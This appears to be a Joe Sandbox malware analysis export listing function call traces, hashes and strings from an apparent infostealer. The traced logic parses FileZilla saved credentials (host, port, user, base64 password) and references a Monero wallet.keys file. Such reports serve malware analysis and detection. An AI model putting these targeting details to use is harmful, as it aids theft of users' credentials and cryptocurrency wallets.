Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: eeb95187e79aea61964998480e5236d7e515f09e1c1781d323ad974b9f725717
Instruction ID: 22b15e7c101ac4eddacb07a701a78887ea9292e7df6f41d3815130b68c0861f3
Opcode Fuzzy Hash: eeb95187e79aea61964998480e5236d7e515f09e1c1781d323ad974b9f725717
Instruction Fuzzy Hash: 45F04FB1D44308ABC714DF98D949BAEBBB8EB04711F10026AFA15A3780C7B515448BA1

Function 00EC1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00EC116A
ExitProcess.KERNEL32 ref: 00EC117E

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 581ed7e731e0f4a80c0811f99420532c18ef3d60e923205d75925ba8f2d5adc1
Instruction ID: 44f5244c61b6cd173d73f545067b27bd06cb9276fe300437a29988a323922afa
Opcode Fuzzy Hash: 581ed7e731e0f4a80c0811f99420532c18ef3d60e923205d75925ba8f2d5adc1
Instruction Fuzzy Hash: CED01774D003089BCB149AA0A949A9DBB78FB08311F0015A8D90662240EA7254828BA5

Function 00ED9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A85770), ref: 00ED9C2D
GetProcAddress.KERNEL32(74DD0000,00A85810), ref: 00ED9C45
GetProcAddress.KERNEL32(74DD0000,00A99640), ref: 00ED9C5E
GetProcAddress.KERNEL32(74DD0000,00A99658), ref: 00ED9C76
GetProcAddress.KERNEL32(74DD0000,00A99670), ref: 00ED9C8E
GetProcAddress.KERNEL32(74DD0000,00A99688), ref: 00ED9CA7
GetProcAddress.KERNEL32(74DD0000,00A8B838), ref: 00ED9CBF
GetProcAddress.KERNEL32(74DD0000,00A9CFD8), ref: 00ED9CD7
GetProcAddress.KERNEL32(74DD0000,00A9D050), ref: 00ED9CF0
GetProcAddress.KERNEL32(74DD0000,00A9D080), ref: 00ED9D08
GetProcAddress.KERNEL32(74DD0000,00A9CE58), ref: 00ED9D20
GetProcAddress.KERNEL32(74DD0000,00A85970), ref: 00ED9D39
GetProcAddress.KERNEL32(74DD0000,00A857B0), ref: 00ED9D51
GetProcAddress.KERNEL32(74DD0000,00A85830), ref: 00ED9D69
GetProcAddress.KERNEL32(74DD0000,00A85790), ref: 00ED9D82
GetProcAddress.KERNEL32(74DD0000,00A9CDF8), ref: 00ED9D9A
GetProcAddress.KERNEL32(74DD0000,00A9CE88), ref: 00ED9DB2
GetProcAddress.KERNEL32(74DD0000,00A8B6F8), ref: 00ED9DCB
GetProcAddress.KERNEL32(74DD0000,00A85870), ref: 00ED9DE3
GetProcAddress.KERNEL32(74DD0000,00A9CEB8), ref: 00ED9DFB
GetProcAddress.KERNEL32(74DD0000,00A9D098), ref: 00ED9E14
GetProcAddress.KERNEL32(74DD0000,00A9CF78), ref: 00ED9E2C
GetProcAddress.KERNEL32(74DD0000,00A9CE70), ref: 00ED9E44
GetProcAddress.KERNEL32(74DD0000,00A859F0), ref: 00ED9E5D
GetProcAddress.KERNEL32(74DD0000,00A9D008), ref: 00ED9E75
GetProcAddress.KERNEL32(74DD0000,00A9D068), ref: 00ED9E8D
GetProcAddress.KERNEL32(74DD0000,00A9CE40), ref: 00ED9EA6
GetProcAddress.KERNEL32(74DD0000,00A9CEA0), ref: 00ED9EBE
GetProcAddress.KERNEL32(74DD0000,00A9CED0), ref: 00ED9ED6
GetProcAddress.KERNEL32(74DD0000,00A9CFC0), ref: 00ED9EEF
GetProcAddress.KERNEL32(74DD0000,00A9CEE8), ref: 00ED9F07
GetProcAddress.KERNEL32(74DD0000,00A9D0B0), ref: 00ED9F1F
GetProcAddress.KERNEL32(74DD0000,00A9CF00), ref: 00ED9F38
GetProcAddress.KERNEL32(74DD0000,00A9A810), ref: 00ED9F50
GetProcAddress.KERNEL32(74DD0000,00A9CE10), ref: 00ED9F68
GetProcAddress.KERNEL32(74DD0000,00A9CF18), ref: 00ED9F81
GetProcAddress.KERNEL32(74DD0000,00A85A50), ref: 00ED9F99
GetProcAddress.KERNEL32(74DD0000,00A9D0C8), ref: 00ED9FB1
GetProcAddress.KERNEL32(74DD0000,00A85A70), ref: 00ED9FCA
GetProcAddress.KERNEL32(74DD0000,00A9CFF0), ref: 00ED9FE2
GetProcAddress.KERNEL32(74DD0000,00A9CF30), ref: 00ED9FFA
GetProcAddress.KERNEL32(74DD0000,00A85890), ref: 00EDA013
GetProcAddress.KERNEL32(74DD0000,00A85B90), ref: 00EDA02B
LoadLibraryA.KERNEL32(00A9D0E0,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA03D
LoadLibraryA.KERNEL32(00A9D020,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA04E
LoadLibraryA.KERNEL32(00A9CF48,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA060
LoadLibraryA.KERNEL32(00A9CE28,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA072
LoadLibraryA.KERNEL32(00A9CF90,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA083
LoadLibraryA.KERNEL32(00A9CF60,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA095
LoadLibraryA.KERNEL32(00A9CFA8,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA0A7
LoadLibraryA.KERNEL32(00A9D038,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA0B8
GetProcAddress.KERNEL32(75290000,00A85C10), ref: 00EDA0DA
GetProcAddress.KERNEL32(75290000,00A9D0F8), ref: 00EDA0F2
GetProcAddress.KERNEL32(75290000,00A99098), ref: 00EDA10A
GetProcAddress.KERNEL32(75290000,00A9D380), ref: 00EDA123
GetProcAddress.KERNEL32(75290000,00A85C30), ref: 00EDA13B
GetProcAddress.KERNEL32(73440000,00A8BA40), ref: 00EDA160
GetProcAddress.KERNEL32(73440000,00A85B50), ref: 00EDA179
GetProcAddress.KERNEL32(73440000,00A8B978), ref: 00EDA191
GetProcAddress.KERNEL32(73440000,00A9D260), ref: 00EDA1A9
GetProcAddress.KERNEL32(73440000,00A9D170), ref: 00EDA1C2
GetProcAddress.KERNEL32(73440000,00A85AF0), ref: 00EDA1DA
GetProcAddress.KERNEL32(73440000,00A85D30), ref: 00EDA1F2
GetProcAddress.KERNEL32(73440000,00A9D368), ref: 00EDA20B
GetProcAddress.KERNEL32(752C0000,00A85BF0), ref: 00EDA22C
GetProcAddress.KERNEL32(752C0000,00A85AB0), ref: 00EDA244
GetProcAddress.KERNEL32(752C0000,00A9D188), ref: 00EDA25D
GetProcAddress.KERNEL32(752C0000,00A9D2C0), ref: 00EDA275
GetProcAddress.KERNEL32(752C0000,00A85C50), ref: 00EDA28D
GetProcAddress.KERNEL32(74EC0000,00A8B5E0), ref: 00EDA2B3
GetProcAddress.KERNEL32(74EC0000,00A8B770), ref: 00EDA2CB
GetProcAddress.KERNEL32(74EC0000,00A9D110), ref: 00EDA2E3
GetProcAddress.KERNEL32(74EC0000,00A85B10), ref: 00EDA2FC
GetProcAddress.KERNEL32(74EC0000,00A85D10), ref: 00EDA314
GetProcAddress.KERNEL32(74EC0000,00A8B9A0), ref: 00EDA32C
GetProcAddress.KERNEL32(75BD0000,00A9D338), ref: 00EDA352
GetProcAddress.KERNEL32(75BD0000,00A85CD0), ref: 00EDA36A
GetProcAddress.KERNEL32(75BD0000,00A98F98), ref: 00EDA382
GetProcAddress.KERNEL32(75BD0000,00A9D140), ref: 00EDA39B
GetProcAddress.KERNEL32(75BD0000,00A9D3B0), ref: 00EDA3B3
GetProcAddress.KERNEL32(75BD0000,00A85C70), ref: 00EDA3CB
GetProcAddress.KERNEL32(75BD0000,00A85C90), ref: 00EDA3E4
GetProcAddress.KERNEL32(75BD0000,00A9D128), ref: 00EDA3FC
GetProcAddress.KERNEL32(75BD0000,00A9D398), ref: 00EDA414
GetProcAddress.KERNEL32(75A70000,00A85E10), ref: 00EDA436
GetProcAddress.KERNEL32(75A70000,00A9D3C8), ref: 00EDA44E
GetProcAddress.KERNEL32(75A70000,00A9D248), ref: 00EDA466
GetProcAddress.KERNEL32(75A70000,00A9D278), ref: 00EDA47F
GetProcAddress.KERNEL32(75A70000,00A9D158), ref: 00EDA497
GetProcAddress.KERNEL32(75450000,00A85B70), ref: 00EDA4B8
GetProcAddress.KERNEL32(75450000,00A85E50), ref: 00EDA4D1
GetProcAddress.KERNEL32(75DA0000,00A85E30), ref: 00EDA4F2
GetProcAddress.KERNEL32(75DA0000,00A9D3E0), ref: 00EDA50A
GetProcAddress.KERNEL32(6F070000,00A85AD0), ref: 00EDA530
GetProcAddress.KERNEL32(6F070000,00A85BB0), ref: 00EDA548
GetProcAddress.KERNEL32(6F070000,00A85D90), ref: 00EDA560
GetProcAddress.KERNEL32(6F070000,00A9D2F0), ref: 00EDA579
GetProcAddress.KERNEL32(6F070000,00A85B30), ref: 00EDA591
GetProcAddress.KERNEL32(6F070000,00A85D50), ref: 00EDA5A9
GetProcAddress.KERNEL32(6F070000,00A85BD0), ref: 00EDA5C2
GetProcAddress.KERNEL32(6F070000,00A85CB0), ref: 00EDA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00EDA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00EDA607
GetProcAddress.KERNEL32(75AF0000,00A9D1A0), ref: 00EDA629
GetProcAddress.KERNEL32(75AF0000,00A98FA8), ref: 00EDA641
GetProcAddress.KERNEL32(75AF0000,00A9D2D8), ref: 00EDA659
GetProcAddress.KERNEL32(75AF0000,00A9D1B8), ref: 00EDA672
GetProcAddress.KERNEL32(75D90000,00A85CF0), ref: 00EDA693
GetProcAddress.KERNEL32(6E330000,00A9D2A8), ref: 00EDA6B4
GetProcAddress.KERNEL32(6E330000,00A85D70), ref: 00EDA6CD
GetProcAddress.KERNEL32(6E330000,00A9D1D0), ref: 00EDA6E5
GetProcAddress.KERNEL32(6E330000,00A9D290), ref: 00EDA6FD

Strings

HttpQueryInfoA, xrefs: 00EDA5FC
InternetSetOptionA, xrefs: 00EDA5E5

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 60820eeab104f5740b05a22b1d3c2882e192b71d68977f39c773e8b8d346bf67
Instruction ID: 5363d1f480e521ee60601923a45c3fc1e8255b7e512b5ad92d5b683751ce2cc6
Opcode Fuzzy Hash: 60820eeab104f5740b05a22b1d3c2882e192b71d68977f39c773e8b8d346bf67
Instruction Fuzzy Hash: 21620AB5D10700AFC36EDBA8F99895637F9FF8C301714853AA626C324CD6BA95C1DB50

Function 00EC7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EC7724
RtlAllocateHeap.NTDLL(00000000), ref: 00EC772B
lstrcat.KERNEL32(?,00A99C80), ref: 00EC78DB
lstrcat.KERNEL32(?,?), ref: 00EC78EF
lstrcat.KERNEL32(?,?), ref: 00EC7903
lstrcat.KERNEL32(?,?), ref: 00EC7917
lstrcat.KERNEL32(?,00A9E068), ref: 00EC792B
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC793F
lstrcat.KERNEL32(?,00A9E020), ref: 00EC7952
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7966
lstrcat.KERNEL32(?,00A99D08), ref: 00EC797A
lstrcat.KERNEL32(?,?), ref: 00EC798E
lstrcat.KERNEL32(?,?), ref: 00EC79A2
lstrcat.KERNEL32(?,?), ref: 00EC79B6
lstrcat.KERNEL32(?,00A9E068), ref: 00EC79C9
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC79DD
lstrcat.KERNEL32(?,00A9E020), ref: 00EC79F1
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7A04
lstrcat.KERNEL32(?,00A99D70), ref: 00EC7A18
lstrcat.KERNEL32(?,?), ref: 00EC7A2C
lstrcat.KERNEL32(?,?), ref: 00EC7A40
lstrcat.KERNEL32(?,?), ref: 00EC7A54
lstrcat.KERNEL32(?,00A9E068), ref: 00EC7A68
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC7A7B
lstrcat.KERNEL32(?,00A9E020), ref: 00EC7A8F
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7AA3
lstrcat.KERNEL32(?,00A99DD8), ref: 00EC7AB6
lstrcat.KERNEL32(?,?), ref: 00EC7ACA
lstrcat.KERNEL32(?,?), ref: 00EC7ADE
lstrcat.KERNEL32(?,?), ref: 00EC7AF2
lstrcat.KERNEL32(?,00A9E068), ref: 00EC7B06
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC7B1A
lstrcat.KERNEL32(?,00A9E020), ref: 00EC7B2D
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7B41
lstrcat.KERNEL32(?,00A9E648), ref: 00EC7B55
lstrcat.KERNEL32(?,?), ref: 00EC7B69
lstrcat.KERNEL32(?,?), ref: 00EC7B7D
lstrcat.KERNEL32(?,?), ref: 00EC7B91
lstrcat.KERNEL32(?,00A9E068), ref: 00EC7BA4
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC7BB8
lstrcat.KERNEL32(?,00A9E020), ref: 00EC7BCC
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7BDF
lstrcat.KERNEL32(?,00A9E6B0), ref: 00EC7BF3
lstrcat.KERNEL32(?,?), ref: 00EC7C07
lstrcat.KERNEL32(?,?), ref: 00EC7C1B
lstrcat.KERNEL32(?,?), ref: 00EC7C2F
lstrcat.KERNEL32(?,00A9E068), ref: 00EC7C43
lstrcat.KERNEL32(?,00A9E0F8), ref: 00EC7C56
lstrcat.KERNEL32(?,00A9E020), ref: 00EC7C6A
lstrcat.KERNEL32(?,00A9E110), ref: 00EC7C7E

Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00EE17FC), ref: 00EC7606
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00000000), ref: 00EC7648
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020, : ), ref: 00EC765A
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00000000), ref: 00EC768F
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00EE1804), ref: 00EC76A0
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00000000), ref: 00EC76D3
Part of subcall function 00EC75D0: lstrcat.KERNEL32(2F536020,00EE1808), ref: 00EC76ED
Part of subcall function 00EC75D0: task.LIBCPMTD ref: 00EC76FB

lstrcat.KERNEL32(?,00A9EB08), ref: 00EC7E0B
lstrcat.KERNEL32(?,00A9DD00), ref: 00EC7E1E
lstrlen.KERNEL32(2F536020), ref: 00EC7E2B
lstrlen.KERNEL32(2F536020), ref: 00EC7E3B

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 8b3f92e75768620be93694b6a3ea708d0a9e5125001d24265d96996c543c50ca
Instruction ID: ef58bf955e09d52786e55ba11b400e57e0882c8e99c3278dc0a0b8a4ae5e1f49
Opcode Fuzzy Hash: 8b3f92e75768620be93694b6a3ea708d0a9e5125001d24265d96996c543c50ca
Instruction Fuzzy Hash: 91321DB6C00314ABC725EBA0EC85DEE777CBB48701F045A99B21D63184EAB5E786CF51

Function 00ED0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00EE0DBA,00EE0DB7,00EE0DB6,00EE0DB3), ref: 00ED0362
RtlAllocateHeap.NTDLL(00000000), ref: 00ED0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00ED0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00ED03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00ED0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00ED0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00ED0562
lstrcat.KERNEL32(?,profile: null), ref: 00ED0571
lstrcat.KERNEL32(?,url: ), ref: 00ED0580
lstrcat.KERNEL32(?,00000000), ref: 00ED0593
lstrcat.KERNEL32(?,00EE1678), ref: 00ED05A2
lstrcat.KERNEL32(?,00000000), ref: 00ED05B5
lstrcat.KERNEL32(?,00EE167C), ref: 00ED05C4
lstrcat.KERNEL32(?,login: ), ref: 00ED05D3
lstrcat.KERNEL32(?,00000000), ref: 00ED05E6
lstrcat.KERNEL32(?,00EE1688), ref: 00ED05F5
lstrcat.KERNEL32(?,password: ), ref: 00ED0604
lstrcat.KERNEL32(?,00000000), ref: 00ED0617
lstrcat.KERNEL32(?,00EE1698), ref: 00ED0626
lstrcat.KERNEL32(?,00EE169C), ref: 00ED0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED068E

Strings

<Port>, xrefs: 00ED03C6
password: , xrefs: 00ED05FB
<User>, xrefs: 00ED0410
browser: FileZilla, xrefs: 00ED0559
<Pass encoding="base64">, xrefs: 00ED045A
url: , xrefs: 00ED0577
